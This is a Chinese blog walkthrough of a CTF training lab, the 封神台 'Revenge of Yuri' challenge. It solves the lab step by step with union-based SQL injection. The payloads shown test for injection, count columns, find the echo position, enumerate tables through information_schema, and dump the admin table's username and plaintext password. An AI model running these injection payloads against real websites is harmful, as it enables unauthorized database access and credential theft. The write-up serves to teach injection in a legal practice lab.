封神台——尤里的复仇Ⅰ 小芳!

第一章:为了女神小芳

Tips:

通过sql注入拿到管理员密码!

尤里正在追女神小芳,在得知小芳开了一家公司后,尤里通过whois查询发现了小芳公司网站
学过一点黑客技术的他,想在女神面前炫炫技。于是他打开了传送门

根据提示我们需要浅浅的sql注入一下,首先判断一下是否存在SQL注入漏洞

?id=1 and 1=1

页面正常

?id=1 and 1=2

页面不正常,说明存在SQL注入漏洞

第一步、判断字段数

id=1 and 1=1 order by 1

 页面正常

?id=1 and 1=1 order by 2

页面同样正常

?id=1 and 1=1 order by 3

页面不正常,判断出字段数为2

第二步、判断回显位

?id=1 and 1=2 union select 1,2

页面出现了2,说明我们的回显位为2

第三步、利用sql语句查询内容

1.爆库
?id=1 and 1=2 union select 1,database()

2.爆表
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

3.爆字段
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

我们可以查出“admin“”表里 有 “id” “username” “password” 三个字段 

4.爆数据

题目说让我们拿到管理员账户的密码,我们看一下username和password字段的内容

?id=1 and 1=2 union select 1,username from admin

?id=1 and 1=2 union select 1,password from admin

 我们得到了管理员密码:hellohack

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值